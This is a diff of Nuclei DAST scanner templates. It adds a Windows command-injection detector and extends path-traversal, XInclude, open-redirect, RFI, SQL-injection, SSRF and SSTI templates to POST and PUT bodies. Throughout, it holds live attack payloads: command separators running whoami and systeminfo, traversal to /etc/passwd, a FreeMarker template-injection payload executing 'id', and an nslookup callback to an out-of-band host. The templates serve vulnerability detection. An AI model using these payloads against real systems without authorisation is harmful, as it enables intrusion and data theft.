- type: regex
name: etc-passwd
part: body
regex:
- 'root:.*:0:0:'
- type: dsl
name: time-based
dsl:
- 'duration >= 4'
# digest: 4a0a00473045022100aaf8abfa73f46e605b0bac69b67368f62a6178fc4bb7f5979592dbb8e6edcefc02201ee998c07753af257794d98725fd3fe4fce9f6280770ae5a9bbb52f19fbcc23a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,94 @@
id: windows-command-injection
info:
name: Windows Command Injection - Generic Detection
author: Jaenact
severity: high
description: |
Detected potential OS command injection on Windows targets by replacing query parameter values with command separator payloads and identifying successful command execution through output patterns from `dir`, `whoami`, `systeminfo`, or response time delays induced via `ping`.
impact: |
Successful exploitation allows arbitrary command execution on the underlying Windows system, leading to full server compromise, data exfiltration, privilege escalation, and denial of service.
remediation: |
Never pass user-controlled input directly to cmd.exe or PowerShell. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
reference:
- https://owasp.org/www-community/attacks/Command_Injection
- https://cwe.mitre.org/data/definitions/78.html
- https://capec.mitre.org/data/definitions/88.html
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cwe-id: CWE-78
metadata:
verified: true
max-request: 14
tags: cmdi,dast,rce,windows,fuzz,vuln
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
# dir output
- "|dir"
- "&dir"
- "&&dir"
- "||dir"
- "|dir C:\\"
- "&&dir C:\\"
# identity
- "|whoami"
- "&&whoami"
# system enumeration
- "|systeminfo"
- "&&systeminfo"
- "|ipconfig"
- "&&ipconfig"
# time-based
- "&ping -n 5 127.0.0.1&"
- "&&ping -n 5 127.0.0.1&&"
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{injection}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: regex
name: dir-output
part: body
regex:
- '(?mi)Directory of [A-Z]:\\\\'
- '(?mi)Volume in drive [A-Z]'
- type: regex
name: systeminfo-output
part: body
regex:
- '(?mi)^OS Name:\s+'
- '(?mi)^Host Name:\s+'
- type: regex
name: ipconfig-output
part: body
regex:
- '(?mi)Windows IP Configuration'
- type: regex
name: whoami-output
part: body
regex:
- '(?mi)^[a-z][-a-z0-9]*\\\\[a-z][-a-z0-9]*$'
- type: dsl
name: time-based
dsl:
- 'duration >= 4'
# digest: 4b0a00483046022100be5c540b1ed2ddf5d5cd3c6b4beec3d046833f77b6a37ebf25d26259ddacd9b6022100ad9b2b4618589ef59eae4f0de6793fe8a59b1f67db65cdf31cf2a631465a3d91:922c64590222798bb761d5b6d8e72950
@@ -15,14 +15,17 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
xinc_fuzz:
- '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></asd>'
- '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></asd>'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -42,4 +45,4 @@ http:
part: body
words:
- 'for 16-bit app support'
# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022061c5b5f12d480ab581420090fe679f16eff360c4d8845959a335ff3bf53df93b022100e4fb9eff907afb896e7ae4d885535da03bae294cc6f4825c39c824fd4bf2e8fe:922c64590222798bb761d5b6d8e72950
+9 -4
View File
@@ -25,7 +25,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
pathtraversal:
- '{{fuzz}}etc/passwd'
@@ -55,7 +56,9 @@ http:
- '../../WEB-INF/web.xml'
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- cat
@@ -91,7 +94,9 @@ http:
fuzz:
- "{{pathtraversal}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "^(./|../|/)|(.html|.htm|.xml|.conf|.cfg|.log|.txt|.pdf|.doc|.docx|.xls|.csv|.png|.jpg|.gif)$"
@@ -120,4 +125,4 @@ http:
part: body
regex:
- '(<system.webServer[\s\S]+<\/system.webServer>)'
# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100b917be210562f0d09609a7c90cff98a2e93db64f5c6efae6e3c934d0cd6f611902205d5ac63faddba6eac5cbf4a36887f1727ea7752005af4ea6332e2c61a0fb4f9f:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -16,7 +16,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
nix_fuzz:
low:
@@ -71,7 +72,9 @@ http:
- '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -83,4 +86,4 @@ http:
part: body
regex:
- 'root:.*:0:0:'
# digest: 4b0a00483046022100bc2e34d998c161b0f1d7455850d0f9744628335ec5e3d0aeb95ac7711acaa2dd02210093950e9953cf175d3568ef5a82a366ec34486250941957176db44a0aafc24e1b:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502205415e5cbcd5beb10a05da90cc4fe6352df7ef1b866512c8661eae4e3b964b9b90221008bf95c6e0d36601cf6508c54c4750f33d6e1e9e848228b31d64ebc350fac1176:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
win_fuzz:
low:
@@ -59,7 +60,9 @@ http:
- '%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini'
fuzzing:
- part: query
- parts:
- query
- body
type: replace # replaces existing parameter value with fuzz payload
mode: multiple # replaces all parameters value with fuzz payload
fuzz:
@@ -74,4 +77,4 @@ http:
- "fonts"
- "extensions"
condition: and
# digest: 4a0a0047304502202c7451a1d8e2ce336cd69b4339d8bf006429f0251b6d195fcfeb02472188f3d5022100a1ad317fa882c654e50b3ece6492c6050dad00010369259be8ef2258e4bc4a18:922c64590222798bb761d5b6d8e72950
# digest: 4b0a0048304602210097c98ed16a07390cbb9ee8d16d7c77a132078dc42da5287f5ddbc33a517ac9e1022100a61552b4945ba285260c57b7f92533334bc51f18527462bc29ae76e8fd2c72ae:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
redirect:
- "{{Hostname}}.oast.me"
@@ -123,7 +124,9 @@ http:
- '%00/oast.me/'
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- AuthState
@@ -265,7 +268,9 @@ http:
fuzz:
- "{{redirect}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "https?://" # Replace HTTP URLs with alternatives
@@ -285,4 +290,4 @@ http:
- 301
- 302
- 307
# digest: 4a0a0047304502206a2882c605cac005cc99926e18ebd02dc43c4c31a756c745e7f4dd845ab2cca9022100d7cb3221c7842d7e9356fcd694217518a608885632f2cfd3e2abc52a2f26fad2:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100c1c842975b79e69dd34cb16e60db37aca091680acecc0f0d97f67178e7913977022100a1fb4830db8fb610c73b9e71c5b72e629baf6d5ea3ae289dc3c51cd715103700:922c64590222798bb761d5b6d8e72950
@@ -13,13 +13,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
redirect:
- "oast.me"
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- AuthState
@@ -161,7 +164,9 @@ http:
fuzz:
- "https://{{redirect}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "https?://" # Replace HTTP URLs with alternatives
@@ -181,4 +186,4 @@ http:
- 301
- 302
- 307
# digest: 4b0a00483046022100a79bb24814ebb6fce46310bc6ca43f0a735205eccf07838a37f372e8956cfdbf022100f2fa25d75d359997833b4406ac5acadce14328707f8b2e1896024e3c7cc7bb2a:922c64590222798bb761d5b6d8e72950
# digest: 490a004630440220099586c444f668b4e6020d6a808c246ee5ac3e294705488d1ba5acdd6508bb10022004dc9a31bd11257b46b2a49fc035d89f22af5f2de3916a2f8e2cff33ed7c16d6:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -15,13 +15,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
rfi:
- "https://rfi.nessus.org/rfi.txt"
fuzzing:
- part: query
- parts:
- query
- body
mode: single
fuzz:
- "{{rfi}}"
@@ -32,4 +35,4 @@ http:
part: body # Confirms the PHP was executed
words:
- "NessusCodeExecTest"
# digest: 4b0a004830460221008b6ae75bff51d0f717fa022b5a9f6f75ac545b873262f391be1b844bddb24d67022100f8b9d9ccf60276b6eb0ab6d0bda976c53f8218b73f2b78012d8c15daae36b43a:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100d03b34ddb92c7cc852ec8d999015824213a2fe89bc2e0951c49aeae8096dd7bf0220469acd53bb9cb2b76df527e98b29ec1ab9266612c0832a928b8aa1b367c52388:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,9 @@ http:
- type: dsl
dsl:
- 'method != "OPTIONS"'
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "'"
@@ -494,4 +496,4 @@ http:
- "SQ200: No table "
- "Virtuoso S0002 Error"
- "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"
# digest: 4a0a00473045022100b3102693f70190b12ccb6f15140a61b65dd91c218b1e3ea99ea59e75ad8f03170220211591503e0603405ab968f481fb3f615c7c3deb8f5849ac281640b5011fcb30:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402203b78ac14e95e093aefc54c75fa3c45dac4ca8d53321cb0ef0acb4a192b20bc5b022073b5756321b1068422407dc89f903b3bb28338eea1fd337787159d281cf918a6:922c64590222798bb761d5b6d8e72950
@@ -112,7 +112,9 @@ http:
- "or pg_SLEEP(7)#"
fuzzing:
- part: query
- parts:
- query
- body
type: replace
mode: single
fuzz:
@@ -124,4 +126,4 @@ http:
- type: dsl
dsl:
- "duration>=7 && duration <=16"
# digest: 4b0a00483046022100f81a7af56429232ba4c582bc7ec7a8f6259d3220126dce0bf15189a7cc0a4a30022100b39ba449c1f3d3230700db35466858af68993bd8c9630b50225a77e5e2ca8b6e:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100bfed06e7dc466f7fcbd30f111c3e8d6f51333119fc7ab2ee3098f07c0b3ba361022100a1c93fc8f12b43c350e504df844df0fcc1769b10787302411d396c8ae1b77e02:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -13,7 +13,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
ssrf:
- "{{interactsh-url}}"
@@ -23,7 +24,9 @@ http:
- "{{RDN}}@{{interactsh-url}}"
fuzzing:
- part: query
- parts:
- query
- body
mode: single
values:
- "https?://" # Replace HTTP URLs with alternatives
@@ -37,4 +40,4 @@ http:
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 490a0046304402204f5689b30c3f94560c914b824916630f62b30706ea13dac96132350cf11edcdb022057a1c782332e4a02cff196012cb4b88cf0492cebb61afbc7064646f14f6bfcb1:922c64590222798bb761d5b6d8e72950
# digest: 4b0a00483046022100b644f92ed9d04ee20672ae22173c1967871e2101001f713aea7cbeabec3cd3fd0221008defa379d533d6d01f273767f59c0adc1cae76f5cf6c0a376b137dcbcd226e46:922c64590222798bb761d5b6d8e72950
+9 -4
View File
@@ -15,7 +15,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
ssrf:
- 'http://{{interactsh-url}}'
@@ -36,7 +37,9 @@ http:
- 'dict://127.0.0.1:6379/info'
fuzzing:
- part: query
- parts:
- query
- body
mode: single
keys:
- callback
@@ -72,7 +75,9 @@ http:
fuzz:
- "{{ssrf}}"
- part: query
- parts:
- query
- body
mode: single
values:
- "(https|http|file)(%3A%2F%2F|://)(.*?)"
@@ -132,4 +137,4 @@ http:
part: body
regex:
- 'id[\s\S]+interfaces\/'
# digest: 490a00463044022006af276ebf6a418b1bcf9f916236906c2eb958611639ee3f9e885872aedc5ee102201dd3a6cb133d0920b1e98ae20027fe57c348a763b189a5b38ba57edb242d09e4:922c64590222798bb761d5b6d8e72950
# digest: 490a0046304402204b55b88881395115ce6ea6f288a4f3057f24fa3960272b2b44de0d62f1d81b67022002e37a5632b3861ddab6fcb0c4e57f15be028fddb01e142b24fda2f39405d7a0:922c64590222798bb761d5b6d8e72950
@@ -17,13 +17,16 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- "<#assign%20classloader=article.class.protectionDomain.classLoader><#assign%20owc=classloader.loadClass(%22freemarker.template.ObjectWrapper%22)><#assign%20dwf=owc.getField(%22DEFAULT_WRAPPER%22).get(null)><#assign%20ec=classloader.loadClass(%22freemarker.template.utility.Execute%22)>${dwf.newInstance(ec,null)(%22id%22)}"
fuzzing:
- part: query
- parts:
- query
- body
type: replace
mode: single
fuzz:
@@ -34,4 +37,4 @@ http:
part: body
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a00473045022100ac8c10f30a5cdc7e823e21020c162e3905bb3224dc545e42d0af472fe3b9cc3802204b4d959cdab058adf6963fdb8f84eeb01e420b56b927cd2f3a6b9041ec60a4cd:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100e529f042303de7a5b33b08969b1cb6aacab4a89e725204f7271958c3c0e81e8102200914fa91d3deb89a05f540d02eed714884a2b3384194df269ba4510d62546fb9:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -16,7 +16,8 @@ http:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
- 'method == "PUT"'
payloads:
injection:
- '%7B%7Bsystem%28%27nslookup%20-type=SRV%20{{interactsh-url}}%27%29%7D%7D%0A'
@@ -24,7 +25,9 @@ http:
skip-variables-check: true
fuzzing:
- part: query
- parts:
- query
- body
type: postfix
mode: single
fuzz:
@@ -37,4 +40,4 @@ http:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a0047304502200fbe63bd2f1255654c93ddedae62499fdfcb8ac4496041cc3da3caca97b1bc00022100bcce8a6791c82c2c40fbf9f614484ca12b3bd7c002f373534fd3085a6d5de7d2:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100c5a761683f3540c47ee4eb834824f049f3ffc25e8c143a8b080d27710381169c0220421dba2b9745749113448bd9d6670eccc2cd83832c58a70babd54bc86159d999:922c64590222798bb761d5b6d8e72950
Loaded 100 of 4993 files, more files were not shown because too many files have changed in this diff. Show more